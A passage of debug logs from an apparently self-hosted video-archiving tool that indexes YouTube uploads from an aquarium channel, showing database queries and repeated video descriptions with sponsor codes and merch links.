regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116187] 11:12:18.826 [debug] Current batch of media processed. Will check again in 1000ms 11:12:19.827 [debug] Current batch of media processed. Will check again in 1000ms 11:12:20.829 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Meet Nibbles, a bait store crab I am keeping as a pet! \n\nGet a Narwal Flow robot vacuum today using my code AQUAFLOW28. You’ll receive $300 off in the USA (https://bit.ly/4lpjryW) or $350 off in Canada (https://bit.ly/4oyLoY3)!\n\nIn this video, we rescue a blue crab from a bait shop and name her Nibbles. She was the last living crab in the live bait section at the bait store and I knew I had to save her. Usually, these bait store blue crabs are used as live bait for fishing. I knew I had to save this pet and build her a dream fish tank. I recently rescued Pickles, my grocery store king crab, and Mochi, my grocery store lobster, and built them a sunken Titanic, Bikini Bottom and a secret bunker, so I had to do something epic for my new pet bait store crab, Nibbles!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a bait store crab named Nibbles from becoming live bait for a fish. Witness her incredible journey back to health as we bring her home and build a massive saltwater ecosystem for her, complete with a 3D printed cave system. \n\nWatch until the end to see what Nibbles thinks of her new home. This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, live bait stores, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this bait store rescue video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"RIP Noodle\" so I notice you 👼 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 681, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e083100 - Raising a Bait Shop Crab as a Pet....mkv", "id" => "zrKIOAlWW9g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zrKIOAlWW9g", "playlist_index" => 8, "timestamp" => 1756676894, "title" => "Raising a Bait Shop Crab as a Pet...", "upload_date" => "20250831"} 11:12:20.830 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=938.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:20.831 [debug] QUERY OK source="sources" db=0.4ms idle=939.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:20.833 [debug] QUERY OK source="media_items" db=1.3ms idle=940.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-31 21:48:14Z], 32] 11:12:20.835 [debug] QUERY OK source="media_items" db=1.3ms idle=942.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Meet Nibbles, a bait store crab I am keeping as a pet! \n\nGet a Narwal Flow robot vacuum today using my code AQUAFLOW28. You’ll receive $300 off in the USA (https://bit.ly/4lpjryW) or $350 off in Canada (https://bit.ly/4oyLoY3)!\n\nIn this video, we rescue a blue crab from a bait shop and name her Nibbles. She was the last living crab in the live bait section at the bait store and I knew I had to save her. Usually, these bait store blue crabs are used as live bait for fishing. I knew I had to save this pet and build her a dream fish tank. I recently rescued Pickles, my grocery store king crab, and Mochi, my grocery store lobster, and built them a sunken Titanic, Bikini Bottom and a secret bunker, so I had to do something epic for my new pet bait store crab, Nibbles!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a bait store crab named Nibbles from becoming live bait for a fish. Witness her incredible journey back to health as we bring her home and build a massive saltwater ecosystem for her, complete with a 3D printed cave system. \n\nWatch until the end to see what Nibbles thinks of her new home. This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, live bait stores, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this bait store rescue video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"RIP Noodle\" so I notice you 👼 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "Raising a Bait Shop Crab as a Pet...", "4734fa9d-b60b-49b1-84f6-72168c1e1623", "zrKIOAlWW9g", false, "https://www.youtube.com/watch?v=zrKIOAlWW9g", 32, [], 681, false, 8, "/downloads/shows/Aquarium Info/Season 2025/s2025e083100 - Raising a Bait Shop Crab as a Pet....mkv", false, false, 98, ~U[2025-08-31 21:48:14Z], ~U[2026-06-02 15:12:20Z], ~U[2026-06-02 15:12:20Z], "Meet Nibbles, a bait store crab I am keeping as a pet! \n\nGet a Narwal Flow robot vacuum today using my code AQUAFLOW28. You’ll receive $300 off in the USA (https://bit.ly/4lpjryW) or $350 off in Canada (https://bit.ly/4oyLoY3)!\n\nIn this video, we rescue a blue crab from a bait shop and name her Nibbles. She was the last living crab in the live bait section at the bait store and I knew I had to save her. Usually, these bait store blue crabs are used as live bait for fishing. I knew I had to save this pet and build her a dream fish tank. I recently rescued Pickles, my grocery store king crab, and Mochi, my grocery store lobster, and built them a sunken Titanic, Bikini Bottom and a secret bunker, so I had to do something epic for my new pet bait store crab, Nibbles!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a bait store crab named Nibbles from becoming live bait for a fish. Witness her incredible journey back to health as we bring her home and build a massive saltwater ecosystem for her, complete with a 3D printed cave system. \n\nWatch until the end to see what Nibbles thinks of her new home. This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, live bait stores, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this bait store rescue video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"RIP Noodle\" so I notice you 👼 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "Raising a Bait Shop Crab as a Pet...", "zrKIOAlWW9g", "https://www.youtube.com/watch?v=zrKIOAlWW9g", 32, 681, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e083100 - Raising a Bait Shop Crab as a Pet....mkv", false, ~U[2025-08-31 21:48:14Z]] 11:12:20.835 [debug] QUERY OK source="sources" db=0.1ms idle=64.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:20.836 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:20.836 [debug] QUERY OK source="media_items" db=0.2ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116188] 11:12:20.836 [debug] Current batch of media processed. Will check again in 1000ms 11:12:21.837 [debug] Current batch of media processed. Will check again in 1000ms 11:12:22.838 [debug] Current batch of media processed. Will check again in 1000ms 11:12:22.958 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:23.839 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I built a HUGE ecosystem in my bedroom! Book your next trip today with Klook on desktop or via the mobile app with my code AQUARIUMINFO for a 10% discount! Thanks Klook for sponsoring this video 🥰\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nA special thank you to our favorite sushi chefs at Sushi Ko Honten in Koto City, Tokyo for a 5 star sushi omakase experience. We couldn’t have done it without you guys!\n\nSUBSCRIBE for a chance at the PS5\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nThis is our longest episode yet - grab your popcorn! Watch as me and Joelle transform Adam’s bedroom into a DREAM $10,000 bedroom. This bedroom makeover captures an insane ecosystem transformation and I can’t wait for you to see the end result. It’s my dream bedroom transformation! Our ecosystem is teeming with life, from tiny toads, creepy bugs, live fish to deadly predators like the crested gecko. I’ve finally achieved my childhood dream of an extreme bedroom makeover!\n\nIf you have any comments, suggestions or questions for this ecosystem transformation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Go Sweetie!\" so I notice you 🦎\n\nIf you love fish and fish tanks check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- Built a Maze for my Turtle to Escape… \n- I Built SpongeBob in a Fish Tank!\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- Did Wednesday Addams Lie?\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 1022, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e080900 - I Turned a Bedroom Into a Jungle!.mkv", "id" => "Nndy5il35l4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Nndy5il35l4", "playlist_index" => 9, "timestamp" => 1754757440, "title" => "I Turned a Bedroom Into a Jungle!", "upload_date" => "20250809"} 11:12:23.840 [debug] QUERY OK source="sources" db=0.2ms idle=1948.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:23.840 [debug] QUERY OK source="sources" db=0.2ms idle=1948.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:23.841 [debug] QUERY OK source="media_items" db=0.4ms idle=1067.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-09 16:37:20Z], 32] 11:12:23.843 [debug] QUERY OK source="media_items" db=1.1ms idle=883.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I built a HUGE ecosystem in my bedroom! Book your next trip today with Klook on desktop or via the mobile app with my code AQUARIUMINFO for a 10% discount! Thanks Klook for sponsoring this video 🥰\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nA special thank you to our favorite sushi chefs at Sushi Ko Honten in Koto City, Tokyo for a 5 star sushi omakase experience. We couldn’t have done it without you guys!\n\nSUBSCRIBE for a chance at the PS5\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nThis is our longest episode yet - grab your popcorn! Watch as me and Joelle transform Adam’s bedroom into a DREAM $10,000 bedroom. This bedroom makeover captures an insane ecosystem transformation and I can’t wait for you to see the end result. It’s my dream bedroom transformation! Our ecosystem is teeming with life, from tiny toads, creepy bugs, live fish to deadly predators like the crested gecko. I’ve finally achieved my childhood dream of an extreme bedroom makeover!\n\nIf you have any comments, suggestions or questions for this ecosystem transformation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Go Sweetie!\" so I notice you 🦎\n\nIf you love fish and fish tanks check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- Built a Maze for my Turtle to Escape… \n- I Built SpongeBob in a Fish Tank!\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- Did Wednesday Addams Lie?\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned a Bedroom Into a Jungle!", "21a629a1-9b9f-42f5-bc55-99347dbe11b2", "Nndy5il35l4", false, "https://www.youtube.com/watch?v=Nndy5il35l4", 32, [], 1022, false, 9, "/downloads/shows/Aquarium Info/Season 2025/s2025e080900 - I Turned a Bedroom Into a Jungle!.mkv", false, false, 98, ~U[2025-08-09 16:37:20Z], ~U[2026-06-02 15:12:23Z], ~U[2026-06-02 15:12:23Z], "I built a HUGE ecosystem in my bedroom! Book your next trip today with Klook on desktop or via the mobile app with my code AQUARIUMINFO for a 10% discount! Thanks Klook for sponsoring this video 🥰\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nA special thank you to our favorite sushi chefs at Sushi Ko Honten in Koto City, Tokyo for a 5 star sushi omakase experience. We couldn’t have done it without you guys!\n\nSUBSCRIBE for a chance at the PS5\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nThis is our longest episode yet - grab your popcorn! Watch as me and Joelle transform Adam’s bedroom into a DREAM $10,000 bedroom. This bedroom makeover captures an insane ecosystem transformation and I can’t wait for you to see the end result. It’s my dream bedroom transformation! Our ecosystem is teeming with life, from tiny toads, creepy bugs, live fish to deadly predators like the crested gecko. I’ve finally achieved my childhood dream of an extreme bedroom makeover!\n\nIf you have any comments, suggestions or questions for this ecosystem transformation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Go Sweetie!\" so I notice you 🦎\n\nIf you love fish and fish tanks check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- Built a Maze for my Turtle to Escape… \n- I Built SpongeBob in a Fish Tank!\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- Did Wednesday Addams Lie?\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned a Bedroom Into a Jungle!", "Nndy5il35l4", "https://www.youtube.com/watch?v=Nndy5il35l4", 32, 1022, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e080900 - I Turned a Bedroom Into a Jungle!.mkv", false, ~U[2025-08-09 16:37:20Z]] 11:12:23.843 [debug] QUERY OK source="sources" db=0.3ms idle=69.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:23.843 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:23.844 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116189] 11:12:23.844 [debug] Current batch of media processed. Will check again in 1000ms 11:12:24.845 [debug] Current batch of media processed. Will check again in 1000ms 11:12:25.847 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I built the world’s LARGEST Krusty Krab in a fish tank! #KCA #sponsored\n\nIn this episode, we build a hyper-realistic Krusty Krab inside a 15-foot long fish tank, featuring my favorite 3D printed SpongeBob houses: The Krusty Krab! At the end, we reveal it at the @Nickelodeon Kids’ Choice Awards and see reactions from your favorite YouTubers @airrack @MatthewBeem @PrestonYT @BriannaYT @a.j.befumo @IBella @annamcnulty @StephenSharer.\n\nCheck out the FAB365 store for EPIC SpongeBob 3D prints here: https://fab365.net/search?q=spongebob. We’ve modified SpongeBob, Patrick and Squidward’s houses to be nearly 3ft tall and now the iconic Krusty Krab!\n\nA special thank you to Labriola Ristorante in Oak Brook for becoming our Krusty Krab kitchen in real life and Nic from @InfinityAquariums for the incredible collaboration on this massive, showstopping piece. We couldn’t have done it without you guys!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nThis giant real life Bikini Bottom aquarium celebrates the famous Nickelodeon Kids’ Choice Awards and includes the iconic Krusty Krab, your favorite characters like SpongeBob, Plankton, Sandy Cheeks, Squidward and Mr Krabs and even realistic 3D printed jellyfish to honor Jellyfish Fields from SpongeBob SquarePants. We also 3D printed a hyper realistic Flying Dutchman! \n\nWatch Jamie build while Adam goes on a tidepool and scuba diving adventure to try and catch the iconic characters of SpongeBob, including Larry the Lobster, Mr Krabs and many more! Joelle is challenged to find the secret formula in a real life Krusty Krab kitchen and will teach you how to make a real life krabby patty! \n\nJamie Dalton - Aquarium Info has a history of building epic SpongeBob themed fish tanks on YouTube like when I built the Krusty Krab for a real life crab and when I built the Chum Bucket for real life Plankton. I also built the world’s largest Bikini Bottom in a fish tank!! Do you think I should build Sandy's treedome for a real life squirrel next?? \n\nIf you have any comments, suggestions or questions for this SpongeBob Nickelodeon video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Krusty Krab Pizza\" so I notice you 🍕 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- I Built Bikini Bottom in a Fish Tank!\n- I Got a Pet Dragon…\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl…\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 695, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e071900 - I Built Bikini Bottom in a Fish Tank!.mkv", 